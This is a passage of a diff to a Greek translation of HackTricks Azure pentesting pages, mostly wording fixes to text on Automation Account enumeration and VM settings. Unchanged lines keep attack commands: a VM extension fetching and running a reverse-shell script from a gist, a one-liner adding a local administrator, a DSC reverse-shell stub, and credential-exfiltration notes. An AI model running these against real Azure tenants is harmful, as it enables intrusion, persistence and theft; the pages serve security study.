--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## Ανύψωση Δικαιωμάτων & Μετά την Εκμετάλλευση
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Βασικές Πληροφορίες Δικτύωσης Azure
|
||||
|
||||
Τα δίκτυα Azure περιέχουν **διαφορετικές οντότητες και τρόπους διαμόρφωσης.** Μπορείτε να βρείτε σύντομες **περιγραφές,** **παραδείγματα** και **εντολές αρίθμησης** των διαφορετικών οντοτήτων δικτύου Azure στο:
|
||||
Τα δίκτυα Azure περιέχουν **διαφορετικές οντότητες και τρόπους διαμόρφωσης.** Μπορείτε να βρείτε σύντομες **περιγραφές,** **παραδείγματα** και **εντολές απαρίθμησης** των διαφορετικών οντοτήτων δικτύου Azure στο:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## Βασικές πληροφορίες για VMs
|
||||
|
||||
Οι Εικονικές Μηχανές Azure (VMs) είναι ευέλικτοι, κατά παραγγελία **διακομιστές cloud που σας επιτρέπουν να εκτελείτε λειτουργικά συστήματα Windows ή Linux**. Σας επιτρέπουν να αναπτύσσετε εφαρμογές και φόρτους εργασίας χωρίς να διαχειρίζεστε φυσικό υλικό. Οι Azure VMs μπορούν να διαμορφωθούν με διάφορες επιλογές CPU, μνήμης και αποθήκευσης για να καλύψουν συγκεκριμένες ανάγκες και να ενσωματωθούν με υπηρεσίες Azure όπως εικονικά δίκτυα, αποθήκευση και εργαλεία ασφαλείας.
|
||||
Οι Εικονικές Μηχανές (VMs) Azure είναι ευέλικτοι, κατά παραγγελία **διακομιστές cloud που σας επιτρέπουν να εκτελείτε λειτουργικά συστήματα Windows ή Linux**. Σας επιτρέπουν να αναπτύσσετε εφαρμογές και φόρτους εργασίας χωρίς να διαχειρίζεστε φυσικό υλικό. Οι VMs Azure μπορούν να διαμορφωθούν με διάφορες επιλογές CPU, μνήμης και αποθήκευσης για να καλύψουν συγκεκριμένες ανάγκες και να ενσωματωθούν με υπηρεσίες Azure όπως εικονικά δίκτυα, αποθήκευση και εργαλεία ασφαλείας.
|
||||
|
||||
### Ρυθμίσεις Ασφαλείας
|
||||
|
||||
@@ -21,36 +21,36 @@ az-azure-network.md
|
||||
- **Τυπική Ασφάλεια**: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση.
|
||||
- **Εμπιστευτική Εκκίνηση**: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
|
||||
- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Αυθεντικοποίηση**: Από προεπιλογή, μια νέα **κλειδαριά SSH δημιουργείται**, αν και είναι δυνατό να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
|
||||
- **Αυθεντικοποίηση**: Από προεπιλογή, δημιουργείται ένα νέο **κλειδί SSH**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
|
||||
- **Κρυπτογράφηση δίσκου VM:** Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα.
|
||||
- Είναι επίσης δυνατό να ενεργοποιηθεί η **Κρυπτογράφηση στον host**, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Ομάδα ασφαλείας δικτύου NIC**:
|
||||
- **Καμία**: Βασικά ανοίγει κάθε θύρα
|
||||
- **Βασική**: Επιτρέπει την εύκολη ανοίγμα των εισερχόμενων θυρών HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Προηγμένη**: Επιλέξτε μια ομάδα ασφαλείας
|
||||
- **Αντίγραφο ασφαλείας**: Είναι δυνατό να ενεργοποιηθεί **Τυπικό** αντίγραφο ασφαλείας (μία την ημέρα) και **Ενισχυμένο** (πολλαπλά την ημέρα)
|
||||
- **Αντίγραφο ασφαλείας**: Είναι δυνατόν να ενεργοποιηθεί **Τυπικό** αντίγραφο ασφαλείας (μία την ημέρα) και **Ενισχυμένο** (πολλαπλά την ημέρα)
|
||||
- **Επιλογές οργάνωσης ενημερώσεων**: Αυτό επιτρέπει την αυτόματη εφαρμογή ενημερώσεων στις VMs σύμφωνα με την επιλεγμένη πολιτική όπως περιγράφεται στα [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Ειδοποιήσεις**: Είναι δυνατό να λαμβάνετε αυτόματα ειδοποιήσεις μέσω email ή κινητής εφαρμογής όταν συμβαίνει κάτι στη VM. Προεπιλεγμένοι κανόνες:
|
||||
- **Ειδοποιήσεις**: Είναι δυνατόν να λαμβάνετε αυτόματα ειδοποιήσεις μέσω email ή εφαρμογής κινητού όταν συμβαίνει κάτι στη VM. Προεπιλεγμένοι κανόνες:
|
||||
- Το ποσοστό CPU είναι μεγαλύτερο από 80%
|
||||
- Τα διαθέσιμα Bytes Μνήμης είναι λιγότερα από 1GB
|
||||
- Οι διαθέσιμες μνήμες Bytes είναι λιγότερες από 1GB
|
||||
- Το ποσοστό κατανάλωσης IOPS Δίσκων Δεδομένων είναι μεγαλύτερο από 95%
|
||||
- Το ποσοστό κατανάλωσης IOPS OS είναι μεγαλύτερο από 95%
|
||||
- Το συνολικό δίκτυο είναι μεγαλύτερο από 500GB
|
||||
- Το συνολικό δίκτυο εξόδου είναι μεγαλύτερο από 200GB
|
||||
- Το VmAvailabilityMetric είναι λιγότερο από 1
|
||||
- **Μόνιτορ Υγείας**: Από προεπιλογή ελέγχει το πρωτόκολλο HTTP στην θύρα 80
|
||||
- **Κλειδώματα**: Επιτρέπει το κλείδωμα μιας VM ώστε να μπορεί να διαβαστεί μόνο (**ReadOnly** lock) ή να μπορεί να διαβαστεί και να ενημερωθεί αλλά όχι να διαγραφεί (**CanNotDelete** lock).
|
||||
- **Παρακολούθηση υγείας**: Από προεπιλογή ελέγχει το πρωτόκολλο HTTP στην θύρα 80
|
||||
- **Κλειδώματα**: Επιτρέπει να κλειδώσετε μια VM ώστε να μπορεί να διαβαστεί μόνο (**ReadOnly** κλείδωμα) ή να μπορεί να διαβαστεί και να ενημερωθεί αλλά όχι να διαγραφεί (**CanNotDelete** κλείδωμα).
|
||||
- Οι περισσότερες πόροι που σχετίζονται με VM **υποστηρίζουν επίσης κλειδώματα** όπως δίσκοι, στιγμιότυπα...
|
||||
- Τα κλειδώματα μπορούν επίσης να εφαρμοστούν σε **επίπεδα ομάδας πόρων και συνδρομής**
|
||||
|
||||
## Δίσκοι & στιγμιότυπα
|
||||
|
||||
- Είναι δυνατό να **επιτραπεί η σύνδεση ενός δίσκου σε 2 ή περισσότερες VMs**
|
||||
- Είναι δυνατόν να **επιτραπεί η σύνδεση ενός δίσκου σε 2 ή περισσότερες VMs**
|
||||
- Από προεπιλογή, κάθε δίσκος είναι **κρυπτογραφημένος** με ένα κλειδί πλατφόρμας.
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
- Από προεπιλογή είναι δυνατό να **μοιραστεί ο δίσκος από όλα τα δίκτυα**, αλλά μπορεί επίσης να **περιοριστεί** μόνο σε ορισμένες **ιδιωτικές προσβάσεις** ή να **απενεργοποιηθεί εντελώς** η δημόσια και ιδιωτική πρόσβαση.
|
||||
- Από προεπιλογή είναι δυνατόν να **μοιραστεί ο δίσκος από όλα τα δίκτυα**, αλλά μπορεί επίσης να **περιοριστεί** μόνο σε ορισμένες **ιδιωτικές προσβάσεις** ή να **απενεργοποιηθεί εντελώς** η δημόσια και ιδιωτική πρόσβαση.
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
- Είναι δυνατό να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημερών) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
|
||||
- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημερών) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
|
||||
{{#tabs}}
|
||||
@@ -77,9 +77,9 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## Εικόνες, Γκαλερί Εικόνων & Σημεία Επαναφοράς
|
||||
|
||||
Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο αναγνώσιμη, χρονικά καθορισμένη αντιγραφή ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\
|
||||
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και να την κάνουν δημόσια.
|
||||
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και την δημοσιοποίησή της.
|
||||
|
||||
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση του VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με το VM. Σχετίζεται με το VM και ο σκοπός του είναι να μπορεί να επαναφέρει το VM σε αυτήν την συγκεκριμένη κατάσταση.
|
||||
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Από τα [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery **αντιγράφει τα φορτία εργασίας** που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβεί μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία λειτουργήσει ξανά, μπορείτε να επιστρέψετε σε αυτήν.
|
||||
Από τα [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery **αντιγράφει τα φορτία εργασίας** που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβεί μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία είναι ξανά σε λειτουργία, μπορείτε να επιστρέψετε σε αυτήν.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -152,7 +152,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
Το Bastion αναπτύσσει ένα υποδίκτυο που ονομάζεται **`AzureBastionSubnet`** με μάσκα δικτύου `/26` στο VNet που χρειάζεται για να λειτουργήσει. Στη συνέχεια, επιτρέπει να **συνδεθείτε σε εσωτερικές VMs μέσω του προγράμματος περιήγησης** χρησιμοποιώντας `RDP` και `SSH`, αποφεύγοντας την έκθεση θυρών των VMs στο Διαδίκτυο. Μπορεί επίσης να λειτουργήσει ως **jump host**.
|
||||
|
||||
Για να καταγράψετε όλους τους Azure Bastion Hosts στην υπογραφή σας και να συνδεθείτε σε VMs μέσω αυτών, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές:
|
||||
Για να καταγράψετε όλους τους Azure Bastion Hosts στην εγγραφή σας και να συνδεθείτε σε VMs μέσω αυτών, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Μεταδεδομένα
|
||||
|
||||
Η Υπηρεσία Μεταδεδομένων Στιγμιότυπου Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις εκτελούμενες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
|
||||
Η Υπηρεσία Μεταδεδομένων Εγκατάστασης Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
|
||||
|
||||
Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα **`Metadata: true`** και δεν πρέπει να έχει την κεφαλίδα **`X-Forwarded-For`**.
|
||||
|
||||
@@ -431,9 +431,9 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
### Επεκτάσεις VM
|
||||
|
||||
Οι επεκτάσεις VM του Azure είναι μικρές εφαρμογές που παρέχουν **διαμόρφωση μετά την ανάπτυξη** και αυτοματοποιημένες εργασίες σε εικονικές μηχανές (VMs) του Azure.
|
||||
Οι επεκτάσεις Azure VM είναι μικρές εφαρμογές που παρέχουν **διαμόρφωση μετά την ανάπτυξη** και αυτοματοποιημένες εργασίες σε εικονικές μηχανές Azure (VMs).
|
||||
|
||||
Αυτό θα επιτρέψει την **εκτέλεση αυθαίρετου κώδικα μέσα σε VMs**.
|
||||
Αυτό θα επιτρέψει να **εκτελούνται αυθαίρετοι κώδικες μέσα σε VMs**.
|
||||
|
||||
Η απαιτούμενη άδεια είναι **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
@@ -520,7 +520,7 @@ az vm extension set \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess
|
||||
```powershell
|
||||
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
|
||||
Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να **εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Υβριδικός Εργαζόμενος Runbook</summary>
|
||||
|
||||
Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία [Automation Accounts](../az-automation-account/).
|
||||
Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία [Automation Accounts](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -622,7 +622,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Ελέγξτε πώς να εγκαταστήσετε νέες εφαρμογές στο [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
Δείτε πώς να εγκαταστήσετε νέες εφαρμογές στο [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> Είναι δυνατόν να **μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές**. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο λογισμικό σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές.
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### Δεδομένα χρήστη
|
||||
|
||||
Αυτά είναι **μόνιμα δεδομένα** που μπορούν να ανακτηθούν από το σημείο μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP γιατί **αν τοποθετήσετε ένα σενάριο εδώ, δεν εκτελείται από προεπιλογή**.
|
||||
Αυτά είναι **μόνιμα δεδομένα** που μπορούν να ανακτηθούν από το endpoint μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP επειδή **αν τοποθετήσετε ένα script εδώ, δεν εκτελείται από προεπιλογή**.
|
||||
|
||||
### Προσαρμοσμένα δεδομένα
|
||||
|
||||
@@ -730,8 +730,8 @@ az vm application set \
|
||||
- Στα **Windows**, τα προσαρμοσμένα δεδομένα τοποθετούνται στο `%SYSTEMDRIVE%\AzureData\CustomData.bin` ως δυαδικό αρχείο και δεν επεξεργάζονται.
|
||||
- Στο **Linux**, αποθηκεύονταν στο `/var/lib/waagent/ovf-env.xml` και τώρα αποθηκεύονται στο `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με ενεργοποιημένα τα δεδομένα
|
||||
- **cloud-init:** Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε [**διάφορες μορφές**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Μπορεί να εκτελέσει ένα σενάριο εύκολα στέλνοντας απλώς το σενάριο στα προσαρμοσμένα δεδομένα.
|
||||
- Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το σενάριο που τοποθετείτε εδώ.
|
||||
- **cloud-init:** Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε [**διάφορες μορφές**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Μπορεί να εκτελέσει ένα script εύκολα στέλνοντας απλώς το script στα προσαρμοσμένα δεδομένα.
|
||||
- Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το script που τοποθετείτε εδώ.
|
||||
- Δεν είναι επίσης απαραίτητο να ενεργοποιήσετε τα δεδομένα χρήστη για να εκτελεστεί αυτό.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
Reference in New Issue
Block a user